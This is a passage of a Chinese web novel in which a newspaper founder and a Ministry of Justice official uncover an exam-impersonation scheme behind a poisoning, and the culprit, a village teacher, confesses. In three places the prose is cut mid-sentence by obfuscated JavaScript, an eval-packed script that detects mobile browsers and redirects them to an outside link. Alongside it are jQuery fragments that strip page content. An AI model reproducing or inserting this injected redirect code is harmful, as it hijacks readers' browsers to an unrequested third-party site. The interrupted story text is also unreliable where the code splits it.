许昭作出下一步打算,对孟允抒和陈暄交代道:“事不宜迟,我马上回官府,带上人前去柳玉成的住处。” “大人且慢。”陈暄上前一步说道,“柳玉成家恐怕已经是人去屋空了。自判罚结果公布后,我曾找过柳玉成几回,除了前两次他在家以外,后面我就再也没能敲开他的大门.他周边的街坊邻居都说,他已经搬离了那里。” 柳玉成的这一举动更是让他的作案嫌疑直线上升。 许昭略一思索后说道:“既是如此,我先和几人前去他家中查看情况,若他的确已经搬离那里,我再发布公告悬赏寻人。” “我和你一起去。”孟允抒起身说,“如有需要,我也可以将此事登在小报上,发动民众提供线索。” 许昭开口想说些什么,他瞥了眼在场的其余两人,却止住了话头。 在离开揽月阁,支走陈暄之后,他这才向孟允抒说出方才没说出口的话。 “姑娘请回报社吧,接下来的事你就别参与了。” 孟允抒的调查骤然受阻,她连忙问许昭:“是因为公子查案不方便外人在场吗?” 许昭飞快地瞟了她一眼,又迅速将目光从她身上挪开,故作镇定地点点头。 孟允抒从他的表现中就能看出,许昭肯定在瞒她。 她停下脚步,强硬地命令道:“许公子,你看着我。” 许昭转过头照做。 “你告诉我,为什么突然不让我继续往下查了?” 见许昭眼神飘忽,孟允抒眼疾手快地扶住他的脑袋,不让他把头转回去。 孟允抒装出委屈的模样说道:“那日我与你谈心之后,还以为公子此后就愿意与我坦诚相待,原来只是我一厢情愿。” 她失望地收回手,却被许昭急忙攥住手腕:“姑娘别误会,我不是这个意思。” 见孟允抒在一旁长吁短叹,许昭无措地解释道:“正如潘掌柜所说,此事太过危险,其中不知会牵涉何方势力,我担心你会被波及。” 孟允抒察觉到自己手腕上的力道更重了些,许昭像是极力想要抓住她。 许昭的声音非常低落:“我不能再让我的亲友遭遇类似的事。” 他指的当然是过去揭发知县罪证一事。 孟允抒蓦地发现,这桩案件中有诸多细节能让许昭触景生情。 寒门学子平白受冤,县衙官员受贿渎职,陈暄为挚友两肋插刀,身边人被卷入事件漩涡。 历史总是惊人地相似。 如果许昭做不到坦然面对这些,那他就永远无法摆脱过去的阴霾。 “许公子,我且问你,在你秉公直言、追求真相时,可曾害怕得罪旁人?” 许昭摇头:“不怕。这是我分内之事,若非如此,我做官就毫无意义。” 孟允抒笑笑:“既然公子不怕,那我自然也不怕,请公子信我。” 察觉到许昭卸下手上的力道,孟允抒抽出手腕反握住他的手:“再者,追寻真相也是我的目标。我与公子想做的事只是恰巧一样,无论遭遇什么都缘于我自身,绝非是因为受你牵连。你不必将责任全部归结在自己身上。” 许昭愣了愣神。孟允抒这话既像是安慰又像是斥责,但她的意思很明确,她是自己主动想这样做,而非作为许昭的附属无辜受累。 她松开许昭的手,半是示威半是调侃道:“要是公子不愿同我合作,我也不可能就此罢休。我会通过其他方式继续查下去。” “不,我明白姑娘的志向了。”许昭释然地笑笑,“那就请你与我同行,助我破获此案。” 24. 线索 正如陈暄所说,孟允抒一行人赶至柳玉成家却扑了个空,破门而入后并未获得更多线索。面对许昭的询问,柳玉成的左邻右舍也只是摇头,言说不知他身在何处。 几人无功而返,于是孟允抒和许昭按照起初的计划分头行动,各自打探柳玉成的踪迹。 孟允抒坐在办公室内,推开桌上堆积如山的纸张,腾出一小块空地将胳膊搭上去,端详着今日将要发行的小报。 她翻过几张纸,在看到那张带着画像的寻人启事时,动作随之一顿。 报社已经连续两日刊登有偿寻找柳玉成的消息,她也陆续收集了些线索,但大部分情报的真实性不敢恭维。 许昭那边的调查也还没有眉目。 今日已经是第三天,距离任务截止期限仅剩四日,但事情依然没有半分进展。 孟允抒盯着画像上的人物陷入沉思。根据潘掌柜和陈暄的描述,柳玉成相貌清俊,打扮简朴,气质内敛儒雅,前几日她和许昭前往他家也发现,柳玉成的住处可用“家徒四壁”来形容。 无论从哪个方面来看,都难以让人将他与蓄意谋杀的罪名联系在一起,柳玉成也并不像是有手眼通天的本事。 孟允抒重新梳理这桩案件以及他们掌握的信息,当下他们最欠缺的是确切的证据。 许昭先前曾提出此案的几个疑点,但凭它们及陈暄、潘掌柜的证词,目前还不足以直接给任何人定罪。 “孟社长,有人找您,说是有关于柳玉成的线索。” 排云的笑声打断了孟允抒的思考,她点头道:“请他进来。” 随着排云作出邀请的动作,门口赫然出现一张熟悉的面庞。 “孟社长日理万机,我贸然打扰,实在抱歉。” “睿言?”孟允抒对他的突然到访有些意外,起身请他坐下问,“这会辰时未过,你是怎么溜出来的?” “今日我清闲无事,点了卯之后就没人管我,我便寻了个机会跑出官府。”萧睿言不慌不忙地端杯抿了一口,赞叹道,“孟社长这里的茶果真不俗。” 萧睿言算是报社的兼职探官,平日里的朝堂新闻多半来自于他,孟允抒也经常能在官府散值之前见到他的身影。 只是今日萧睿言一大早就来报社,这还是头一回。 孟允抒言归正传:“方才你说有柳玉成的线索?” “正是。”萧睿言见孟允抒桌上正巧搁着那则寻人启事,他顺手将小报拿过来笑道,“我若是提供线索,孟社长可要兑现诺言,为我支付报酬。” “那是自然。”孟允抒转而问道,“但你为何不直接将线索告诉许郎?” 她和许昭分别发布告示的目的是尽可能多地推广这则信息,朝廷内部的消息流通显然比他们的小报更快,她不明白萧睿言为什么要舍近求远。 “就我知道的信息而言,柳玉成的事恐怕是拔出萝卜带出泥。我是想凭借情报获利,却不愿引火上身。”萧睿言回答,“官员间利益纠葛错综复杂,若我向许大人提供线索,难保不会走漏风声。” 相比之下,孟允抒接待的访客鱼龙混杂,为萧睿言提供了浑水摸鱼的良好机会。 孟允抒从萧睿言的话中听得出,他掌握着一个重要线索。她站起身请萧谨言去隔壁:“我们换个地方说话。” 中庭里那个最小的房屋就是会客间,与线人密谈、读者来访等活动都会在此进行。 孟允抒与萧睿言重新落座,他再次扫了眼柳玉成的画像,直入正题道:“我不知柳玉成身在何处,但我上次见到他时,他用的并非这个姓名。” 萧睿言放下手中的小报,坐直了身子。 “两个月前我参加会试,他曾在我之前排队入场。他衣着简朴,身形清瘦,但身上背的包袱却是崭新的,用的也是上等布料,因而我多留意了他几眼。当时他向考官所报的名号是‘方知瑜’。” 方知瑜是方家的二公子,在权贵富户多如牛毛的京城,方家虽不是首屈一指的世家大族,但也算是有几分名气的富商。 尽管十分震惊,孟允抒依然压低声音问:“你是说,柳玉成是冒名顶替方知瑜前去应试?” 科举舞弊是重罪,更何况他参加的还是科举中的高级考试,这简直就是在皇上眼皮子底下顶风作案。 萧睿言笑笑,将自己从这件事中择了个干净:“我可从没说过这样的话,只是将我所知道的情况如实相告,具体如何决断还要看孟社长和许大人。” 孟允抒早就摸清了萧睿言“不粘锅”的特性,满口答应着请他继续讲下去。 “会试结束后,方知瑜排名第九,但殿试那日我却不曾见过他。”萧睿言指指柳玉成的画像,“是另一个‘方知瑜’来参加的考试。” 萧睿言的话意味深长,他明里暗里地提醒孟允抒,这件事一定暗藏玄机。 殿试是由皇帝亲自主持,在这一步可没有哪个不要命的敢去替考。这次来应试的应当是方知瑜本人。 “殿试放榜那日,我通读所有考生姓名,在最后一行看到了方知瑜的名字。来参加琼林宴的方知瑜与参加殿试的是同一人,我曾在席间同他交谈,他言说当时他身体不适,发挥欠佳,故而得此成绩。” 在科考中,殿试这一环节不会淘汰考生,所有的应试者都将一齐参与排名。可以这么说,一个人若是通过会试,那么他做官就是板上钉钉的事。 所以,如果柳玉成真是替方知瑜前去考试,帮到这一步也算是功成身退。 孟允抒听完萧睿言的叙述,除过对陈修远一案作出新猜想以外,同时在心底感叹萧睿言实在狡猾。 在他发现有两个方知瑜时,就应当意识到矛盾所在,但他却一直默不作声,直至今日借着许昭查案的东风才出来揭发。 他这是在避免成为那个引人注目的出头鸟。 孟允抒半是打趣半是内涵地说:“你真是好记性,这么久了居然还记得柳玉成的样貌。” 萧睿言反而夸赞她道:“那是因为孟社长慧眼识珠,找的画师技艺精湛,令人一眼便知此人模样。若非如此,我哪能想得起两月以前的事?” 经过这段时间的合作与相处,孟允抒知道萧睿言是打太极的高手,有话直说反而能提高两人的沟通效率。 “你早已察觉方知瑜有科举舞弊之嫌,却等到今日的机会才告发他。”孟允抒扬起唇角,但她的眼神中没有半分笑意,“你还有多少秘密瞒着旁人?” 当初创办报社时萧睿言突然蹦出来支持她,为她提供诸多帮助,她本就不全然相信他。起初她想着,等以后与萧睿言认识的时间久了,或许就能了解他的想法与目的,但如今孟允抒却越发觉得他深不可测。 面对孟允抒不加掩饰的猜疑,萧睿言则显得很坦然。 他还是平日那副翩翩君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454395|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的模样,挺直腰背,语气从容:“我对你并非坦诚相待,所以社长怀疑我也是理所应当。但我可以向你保证,我虽然称不上什么好人,但也绝对不会做那些奸恶之事。” 孟允抒对他的话不置可否,只是问了另一个问题。 “睿言,我只问你一点。若非许郎查案揪出柳玉成,你是否还要继续隐瞒此事?” “是。” 萧睿言干脆利落地给出了肯定答复,孟允抒的耳朵差点没来得及捕捉他的声音。 “孟社长,你和许大人是一样的人,肯为公正与真相献出一切。”萧睿言的语气中既有敬佩也有自嘲,“但是,并非所有人都能像你们那般刚直。朝堂之中,数量最多的不是好人或坏人,而是和我一样的中立派。我们有心去做正确的事,却又会顾及自己与亲友安危。” 孟允抒倏然想起先前萧睿言和她在湖边的对话。他说,他只想在漩涡中保全自身、帮助家人。 她明白了。实际上,萧睿言早就告诉过她,他助自己办报的真正原因。 萧睿言的话也印证了这一点。 “我想要借助你和许大人的力量。从这点来说,我的确是在利用你。” 他将头垂下,又复而抬起,淡然一笑道:“如今政党之争愈演愈烈,谁都猜不到明日的政局是何种模样。我不愿与佞臣同流合污,却也不具备许大人舍生取义的气节,唯一能做的就是辅助你们这样的人,让官场不至于一片黑暗,百姓不至于申冤无门。” 孟允抒心里五味杂陈。她沉默良久后,轻轻说出一句话。 “抱歉,是我误会你了。” 萧睿言是个聪明人,她很庆幸他并不是站在自己的对立面。 会客间的门被匆忙叩响,萧谨言在外面喊道:“孟社长,你和睿言的会谈结束了吗?” “稍等。”孟允抒应了声,她起身开门问萧谨言,“你有什么事?” “今日有名编辑请假了,我这边缺人。我方才听排云说睿言来了,想找他帮忙。”萧谨言进了门,他看见坐在里面悠闲喝茶的萧睿言,气不打一处来,“你倒好,还有心思在这慢慢品茶!没事干就赶紧过来!” 孟允抒早就对这兄弟俩的相处模式习以为常,她不想被拉进两人的纷争中,又恰好要把新情报分享给许昭,于是寻了个借口告辞道:“那我先失陪了,你们聊。” “会客间不是吵架的地方,我们出去说。”萧谨言严格遵守规定,拽着萧睿言跟孟允抒一同出了门,对她说道,“你先去忙吧,这里就交给我和秋掌柜。” 在几人分别之后,孟允抒快要离开中庭时,却突然被萧睿言叫住。 “孟社长,我今日要在报社帮忙,还得忍受二哥的絮叨,没有功劳也有苦劳。”他图穷匕见,指着办公室笑着问孟允抒,“你这里的茶相当不错,我能再来几杯吗?” 萧谨言不满地在一旁训斥他:“你是来帮忙的还是来喝茶的?再说我哪里絮叨?” 孟允抒看看笑容满面地站在庭院中央的萧睿言,不知为何忽而想起,他今年刚满二十岁,放在现代也就是普通大学生的年纪。 这样一想,此前她将各种阴谋诡计与萧睿言联系起来,与他勾心斗角、反复揣摩他的心理,这一切都突然显得有些好笑。 孟允抒赶着去做正事,头也不回地摆了摆手。 “你想喝多少就喝多少吧,我准了。” 25. 教书先生 孟允抒赶往刑部,用“据不知名人士透露”这样的名号,将萧睿言所述情况反映给了许昭。 收到情报后不多时,许昭前往贡院调取“方知瑜”的原卷,暗中收集方知瑜本人和柳玉成的字迹进行比对,又寻了个由头与方知瑜谈论考题,基本可以确定柳玉成替考之事属实。 随后不久,又有几名知情人向许昭提供线索,言说柳玉成正在京郊的清源村中当教书先生。为了不打草惊蛇,许昭派人密切关注方知瑜的动向,同时带上陈暄和两名下属,与孟允抒迅速赶往清源村。 时间紧急,孟允抒和许昭在车内坐定后,这才得了空,谈论彼此对案件的猜测。 马车在路上疾驰,将两人的声音遮盖了大半。 “陈修远是在进京赶考后才与柳玉成结识。根据柳玉成的口供,两人是在书肆中买书相遇,因对书中论点所持观念一致,故而聊得十分投机。” 许昭回忆着卷宗记录,将他们已获取的情报串联起来。 “且不论柳玉成这段证词的真伪如何,他们两人在同一时间、同一地点参加科考,就有碰面的可能。” 他的言下之意是,陈修远或许知道柳玉成替考之事。 这是对陈修远一案最合理的解释。如此一来,柳玉成就有了作案动机,方知瑜也具有买通县衙官员的实力。 纵观当下他们所掌握的信息,所有人的证词都指向了柳玉成。只有先找到他,才能进一步推断案件真相。 想到这孟允抒有些纳闷,她问许昭:“现今距离县衙结案已是半月有余,柳玉成若是畏罪潜逃,他为何不趁早离开京城隐姓埋名,而是躲在京郊?” “清源村是柳玉成的故乡,在那里生活到底方便些。况且陈修远一案已经尘埃落定,他大概也存着侥幸心理。”许昭转而说道,“但以上只是我个人猜测,具体原因如何,恐怕只有我们亲自问过柳玉成后才能得知。” 调查再次陷入停滞,孟允抒只能将注意力挪到当下,听着马蹄叩击地面的脆响。 清源村距京城中心有八十余里,五人一大清早就踏上行程,待几辆马车行至村口时,已是黄昏时分。 马车的速度逐渐放缓,最后停了下来。前方的路太窄,马车不方便通行,于是几人下车步行。 孟允抒踩到地面上,环顾着四周的环境。清源村本就是个人口密集的大型村落,周边还有不少零散的小村庄挤在一起,村里的道路错综复杂,他们当前并不知道柳玉成的详细住址,要找到他还得花上一番功夫。 她看看村口的那户人家,篱笆圈起一片空地,房前的台阶上坐着一个半大少年和一个小女孩,男孩十四岁左右的模样,女孩看上去只有八九岁,两人正在说着些什么。 孟允抒对许昭说道:“我们去问问,看他们是否知晓柳玉成住在何处。” 许昭点头应允,当孟允抒靠近篱笆时才发现,那女孩手里捧着本书,男孩则拿着根木棍在地上写写画画,像是在给她讲解算术题。 她在门前停下脚步,露出和善的微笑:“小兄弟,还有那位小姑娘,请问柳玉成是你们村里的人吗?” 两个孩子闻声都抬起头来,男孩站起身,将女孩护在身后,向她打了个噤声的手势,警惕地盯着他们。 他并未回答孟允抒的问题,反问她道:“你们是什么人?” 今日为了路上方便,许昭等人未着官服,旁人不能像往常一样从他们的打扮上认出其官员身份。 这两个孩子不是城里人,他们应当没有听过报社的名号,孟允抒觉得她的身份解释起来太麻烦,干脆把许昭推了出去:“这位是刑部郎中许大人,我们四人都是他的随从。” 男孩闻言,将目光从他们五人的脸上依次扫过,当他再次看向许昭时,眼神中带上了几分敬畏。 孟允抒要的就是这个效果。她方才这句话把许昭的形象衬托得无比伟岸,威风八面。 许昭只能就坡下驴,学着孟允抒的样子打起官腔来:“今日我来村中寻找柳玉成,想要让他助我查明一桩冤案。我有腰牌为证。” 许昭上前一步,将腰牌递给男孩。 对方显然分辨不出腰牌的真伪,他装模做样地浏览了一遍腰牌上的各种信息,将信将疑地问道:“你们要找柳先生?” “对。”孟允抒点头,“你认识他?” “嗯。”男孩的语气坚定,充满自豪,“柳先生是我们村里的教书先生,他是个好人。如果有冤案需要平反,他肯定会鼎力相助。” 陈暄听到这话突然露出一个笑容,但那笑容中满是讥讽。 男孩没察觉出陈暄笑容中的古怪,他看了看村里来来往往的行人,像是在估量自己接下来行动的安全性。而后他开口说道:“村里的路不好走,我带你们去吧。” 孟允抒喜出望外,向男孩连连道谢。 男孩叮嘱小女孩看好家,锁上大门在前方带路。孟允抒跟在他身后,和他聊起了闲话:“她是你妹妹吗?” “对。” 孟允抒又问了他几个问题,但男孩似乎有心防备着他们,每个回答都十分简短。 “我方才看到你和你妹妹在地上写字,你们都在那位柳先生的私塾中念书?” 得到男孩的肯定答复后,孟允抒看向许昭。 他的神情和孟允抒一样,向男孩投来惊异的一瞥。 在胤朝,平民阶层的读书人本就是少数,女子念书更是贵族小姐的特权。乡野间的女童捧着书看,简直可谓一大奇观。 孟允抒不动声色地说道:“小兄弟,我无意冒犯你,但我实在疑惑。我见你们的家境并不算富裕,你们爹娘居然愿意供你们兄妹二人一同读书?” “并非如此。当初我念书时就经历了许多波折,到我妹妹那里更是如此。”男孩第一次说了个长句,“所以我才说柳先生是个好人。” 他抬起头,盯着远方的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469241|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平线说:“柳先生曾说过,一个人,不论男女,不分贫富贵贱,都应当有读书的机会。我爹娘说掏不起学费,柳先生就分文不取;爹娘说妹妹读书无用,反正她将来也只是嫁作他人之妇,柳先生气得与他们大吵一架,三番五次地上门劝说,最后终于让他们同意送我妹妹去私塾。” 男孩口中的柳玉成与陈暄对他的印象大相径庭,他不可置信地问:“你说的这些都是真的?” “那是当然。” 男孩疑惑地看了看他,像是不明白他为什么会问出这样的问题。 他没有在这件事上纠结太久,因为前方的几幢房屋吸引了他的注意力:“看,那就是我们的书院。” 孟允抒抬头望去,在大片田地旁边,有一处青砖灰瓦的建筑,占地面积不大却干净整洁。三进院落依山势而建,从前庭到后院层层抬升,似乎暗含“步步高升”之意。 随着她走近私塾,匾额上“明德书院”四个大字映入眼帘。 男孩向他们讲述着书院的概况:“平日里先生们都在前庭授课,后院是他们的居所。中庭里有藏书阁,我们可以从中借阅各种典籍。” 他带五人走进前院,指着东边的那处房间对他们说道:“半个时辰前我们就已经散学,但柳先生通常会在惜时堂中多坐一会,在课后为我们答疑解惑。” 在他的指引下,孟允抒拾阶而上,随他进了屋子。 她此前已经见过柳玉成的画像,因此一眼便认出了他。柳玉成正坐在惜时堂的最前方,左右围着六七个学生,认真聆听着他的教诲。 “柳先生,这几位大人有事寻你。” 柳玉成周围的学生听到男孩的话纷纷转头,而后自觉地为柳玉成让开一条通路,好让他能看清楚来人的样貌。 当柳玉成的目光落到陈暄脸上时,他眉头微蹙:“你竟然一直寻到了这里。” 陈暄一个箭步冲上前去,当即就要发作,所幸许昭及时拦住了他。 “你要干什么?” 几个学生挡住陈暄,他们对眼前的状况一无所知,却肩并肩地站成一排,用身体护住柳玉成。 “抱歉,他向来有些冲动,我们并无恶意。”许昭令两名下属拉住许昭,又拿出自己的腰牌自证身份。 趁着许昭向柳玉成解释详情,孟允抒扫了眼这间学堂的环境。 屋内摆着三十张杉木书案,案头的笔墨纸砚一应俱全。这样看来,学生来上课时只需要带上书本即可,连文具都不需要自备。 柳玉成听许昭说完大致情况,又看了他的腰牌,语气和缓地遣散堂内的学生:“放心,他们是官府中的大人,没有恶意。你们几个先回家,有问题的话明日再与我讨论。” 几个学生踌躇了一会,在柳玉成的再三劝说下陆续离开。随后,柳玉成起身向孟允抒等人行了一礼,请他们换个地方说话。 “既然几位大人有要事在身,那就请随我到正厅详谈。” 26. 寒士欢颜 几人进了正厅在桌边落座,柳玉成关上大门,为他们倒了茶,看看陈暄说道:“几位可是为陈修远一案而来?” “是,却也不全是。” 孟允抒抿了口茶水,看似漫不经心地说起一个与案件无关的话题:“我见明德书院窗明几净,器具齐全,陈设整洁,恐怕得花上一大笔钱,柳先生真是宅心仁厚。” “孟社长谬赞了,明德书院并非由我出资建成。”柳玉成自谦地笑笑,“清源村的村民很多,孩童却没有就近读书的地方。几年前一些大家和乡绅慷慨解囊,共同修建了这所书院。” 柳玉成的回答显然是避重就轻。在来书院的路上,孟允抒一行人已经向男孩了解其详情,起初明德书院的确是由几名富人出资设立,但两年后他们就对其撒手不管,是柳玉成和其余几名先生接手书院,靠着自掏腰包苦苦支撑。 “我幼时也是在村中的私塾念书。若是没有那些先生的教诲,我也不可能在科考中崭露头角。所以我尊称您一句‘柳先生’。” 许昭盯了一会面前的茶水,他抬起头问柳玉成:“我想知道,您学识渊博,为何不通过科举入仕大展宏图,却宁愿待在这方寸之地?” “因为我从很早以前就立志要当教书先生。”柳玉成不假思索地回答。 接着,他详细讲述了他作出这一决定的原因。 “清源村是生我养我的地方,我自幼在此处长大。我亲眼见到邻居家不到十岁的女童被卖给他人做陪房,也听闻去大户人家中做小厮的男孩被雇主活活打死,随便找个地方草草一埋。” 柳玉成的声音低哑。 “有年村里的庄稼收成不好,我和几个识字的好友去京城买了农书和农具,想要改进劳作的方法,但村民们拿到农具后没过两天就将它们转手卖了出去,用换来的银子饱餐一顿,又继续过穷困潦倒的生活。” 柳玉成握紧双拳,将指节攥得发白。 “我想让他们活得像个人,能够思考,明辨是非,而不是成为被人操纵的傀儡,任人驱使的牛马,浑浑噩噩地苟活于世。” “说得倒是好听。” 陈暄猛地站起,由于他的动作幅度过大,椅子随着他起身的动作轰然倒地,发出一声巨响。 孟允抒发现,不知何时,陈暄已经是泪流满面。 他的声音饱含痛苦与愤怒。 “你将那些孩童从蒙昧中唤醒,可然后呢?让他们蒙受冤屈,遭遇不公?”陈暄拍着桌子大吼,“要像修远那般寒窗苦读十几载,终于出人头地却含冤而死,还是被你这样的替考者从金榜上生生挤掉,让那些纨绔子弟不费吹灰之力就加官进爵?” 面对他突如其来的质问,柳玉成没有防备,他惊恐万状地看向陈暄:“你在说什么?” “我已经从贡院中找出了你的答卷,也找到方知瑜本人问过话。”许昭替陈暄作出回答,“柳先生,念及你的善举,我不想直接将你带走刑讯逼供。还请你主动将代替方知瑜参与科考之事、陈修远一案的内情如实道来。这样一来,给你的判罚或许还能轻些。” 听到许昭的话,柳玉成脸上的错愕逐渐消散。他没有反抗,只是平静地靠在椅背上。 柳玉成沉默良久,缓缓地说了一句话。 “这一天终于来了。” 他长舒一口气,如释重负般地看向许昭。 “许大人,我会将实情全部告知于你。” 许昭叫下属拿来笔墨纸砚,将其分发给除陈暄以外的三人,示意柳玉成开口。 他沉思片刻,像是在回忆事情的来龙去脉,寻找一个切入点。 “方知瑜的父亲是个富商,各位大人应当略有耳闻。只是方家虽有家财万贯,却无人在朝为官。” 且不论世人公认的“士农工商”的阶层排序,一个富商要想走得长远,将家产代代相传,就需要家中有人在官场中立足。 尽管他们已经是锦衣玉食,却也不会放弃蝇头小利。即使方知瑜只能做个芝麻小官,对他们来说也是锦上添花。 “方知瑜被全家人寄予厚望,但他平日游手好闲,不喜念书,根本不可能在科考中取得名次。因此,他们四下打听,看有无合适人选替他考试。方家的一名家丁与我相识,他将消息透露给我,言说我若是能帮方知瑜做成此事,方家人将会以重金相谢。” 柳玉成低下头。 “如你们所见,运营明德书院的开支不小,村中又有许多孩童付不起学费,先生们也需要钱财生活。方家出手阔绰,我刚应承下此事,他们就给了我二百两银子。方家人告诉我,他们会打点好一切,只需要我报上方知瑜的名号,直接去考试即可。” 柳玉成停顿片刻,叹了口气。 “考试进行得十分顺利,临近会试时,为方便赶考,我暂时在城中落脚居住。那日我在书肆中与修远相逢,他对我一见如故,非要让我将姓名与住址告诉他。我挣脱不得就只能照做。” “会试结束后,修远曾请我一同吃饭,替我惋惜许久,说以我的学识不可能落榜。我当时并未听出他的弦外之音。” 孟允抒的笔尖一顿,抬眼看向柳玉成。 “直至殿试放榜,修远又来找我,质问我为何要帮助他人舞弊。这时我才知道,他曾与我在同一地点参加会试,无意中听到我用的是‘方知瑜’的名号。后来在殿试中,他确定了我是替方知瑜参加考试。” 柳玉成不敢直视陈暄的双眼,只能将头深深埋下。 “修远性情直爽,为人坦荡,无论我如何解释或劝说,他都不肯饶恕我,一定要让我主动向官府认罪。但我好不容易走到这一步,眼看着我就能用方家给我的钱财贴补书院,我绝不能让这个目标毁于一旦。” 陈暄几乎马上就要扑向柳玉成,许昭死命地按住他,让他冷静。 “所以,我将此事告诉了方知瑜,和他商讨应对之策。他担心事情败露,于是提出了一个计划。” 柳玉成痛苦地闭上双眼。 “方知瑜让我约修远出来吃饭,事先在酒中下毒。若我能与他谈和,就可以放他一马;若是不成……” 他没有将这句话说完。 “总之,方知瑜已经做好了两手准备,会为此事兜底。他只需要我动手。起初我并不同意,方知瑜威胁我,既然如此就做好与修远一同丧命的准备。我别无选择,最终只得应允。” 柳玉成又讲了案发后他的所作所为,与潘掌柜所述一致。 “解决此事后,我尽快搬离了城中,回到清源村。可当我用钱填补书院的空缺后,我始终良心不安。” “我一面担心官府的追捕,一面害怕方家人会暗中谋害我。我不仅寝食难安,随便一个风吹草动都会让我心悸许久。” 他看向面前的五人。 “好在这一切都要结束了。我没有勇气主动认罪,但既然你们已经查出我的替考之事,我再挣扎也是徒劳,不如将真相和盘托出。” 末了,柳玉成看了看陈暄,向他致以深切的歉意。 “你说得没错。我做了这样见不得光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478274|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,得了脏钱,即使这钱是用来帮助那些学童,我也已经在无形中为虎作伥。修远是个正直的人,我确实该给他偿命。” 许昭又向柳玉成询问了一些案件的细节及相关证据,他一一作答。 柳玉成对他的罪行供认不讳,听完他全部供述的这一刻,陈暄却没了先前的激动。 他想大骂柳玉成,可他张开嘴,最终也没能发出一点声音。 孟允抒收好面前的纸张,只觉得它重如千钧。 “许大人,在我走之前,容我再向其他先生交代些书院的相关事项。” 许昭答应了他的请求。 柳玉成办完事后,他伸出双手,示意许昭为他戴上枷锁。 “刑具是给恶人用的。”许昭语气平淡地说了一句,对两个下属说道,“带他走吧。” 一行人走出门外,方才的那几个学生还停留在书院外没有离开,他们见状迎上来问:“柳先生,您要去哪?” 柳玉成勉强挤出一个笑容:“这几位大人在查一桩冤案,需要我当堂作证。” 一名看起来很开朗的女孩看向孟允抒等人,满眼敬佩:“你们就是柳先生所说的‘清官’?” 孟允抒和许昭都默不作声,陈暄则点点头。 “真好。几位大人一定要平反冤屈,造福百姓。”她又看向柳玉成问,“先生,那您什么时候回来?” 在柳玉成决定先撒谎骗过这些学生时,许昭抢先作出了回答。 “等事情办完以后,他就会回来。” 这些学童一直跟着他们走到马车旁,注视着柳玉成上了车。 车夫拉起缰绳,车轮开始缓缓转动。 孟允抒撩起车帷,看向那几个孩子。 他们口中喊着“柳先生再见”,恋恋不舍地跟着马车往前跑,就像飞蛾追逐着火光。 孟允抒心中五味杂陈。她看向柳玉成,他只是低着头,一言不发。 她不知道他是在懊悔还是悲伤、担忧,又或许三者兼有。 柳玉成一经获罪,即使能保住性命,再回到书院恐怕也得几十年以后。他的赃款更不必说,肯定要尽数上缴。 为了维护公道,他们必须将柳玉成抓获归案,可这样一来,明德书院的孩童们前途堪忧,甚至还有许多人会失去读书的机会。 正确的做法却没能带来完美的结局。 许昭发觉车内的两人情绪低落,出言宽慰道:“柳先生,只要你在接下来的取证中积极配合,勇于揭发方知瑜的罪行,就能将功补过,减轻刑罚。” 他看向窗外,那几个孩童的身影已经被马车远远甩在后面,只留下几个模糊的小点。 “待我将这桩案子了结之后,我会上疏奏议,尽力请陛下为明德书院批下一笔专款。” 这话启发了孟允抒。 法不容情,柳玉成被定罪是板上钉钉的事,但他们或许可以用其他方式替柳玉成实现心愿。 她倏忽想起,昨日傍晚客流高峰时段,曾有一个妇女进来报社瞧热闹。当时秋盈曾问她是否需要买报,那女子尴尬地笑笑,说她不识字,只能听旁人念着小报上的新闻。 若她能在报社中定期开展免费课程,不但能提高民众的文化水平,同时也能让许多潜在受众能够读懂报纸,还能趁机推广他们报社的知名度,是一举三得的好事。 孟允抒有了新主意,心绪稍稍平静下来,向柳玉成投去敬佩与感激的目光。 柳玉成犯了大错,但不可否认,他的确是一位良师。 27. 营销 按照孟允抒的吩咐,店内的几个伙计将两块蒙着纸张的木板搬到采闻堂。 孟允抒指挥着他们将木板放到居中的位置:“再往右边挪一点,对。拉开两个木板之间的距离。” 胤朝没有黑板和粉笔,孟允抒就想了这么个办法,找来两块大木板,将白纸蒙在上面,用毛笔在上面写字时注意少蘸些墨,这样就可以实现类似现代社会的教学方式。 她走到采闻堂最后方,打量着两块木板,确认在此处也能看得见上面的文字。 在那两块木板当中,左边那张纸上已经写满了字,从《三字经》的第一页讲起,直至宣纸上写不下为止;另一张则是空白,供她根据课堂内容灵活调整。 排云兴冲冲地从门外快步走来,她身后还跟着两个身着素色衣衫的女子:“孟社长,她们是来参加识字会的。” 孟允抒热情地迎进两人,请她们落了座:“两位娘子请稍候片刻,待巳时一到,我们就开始授课。” 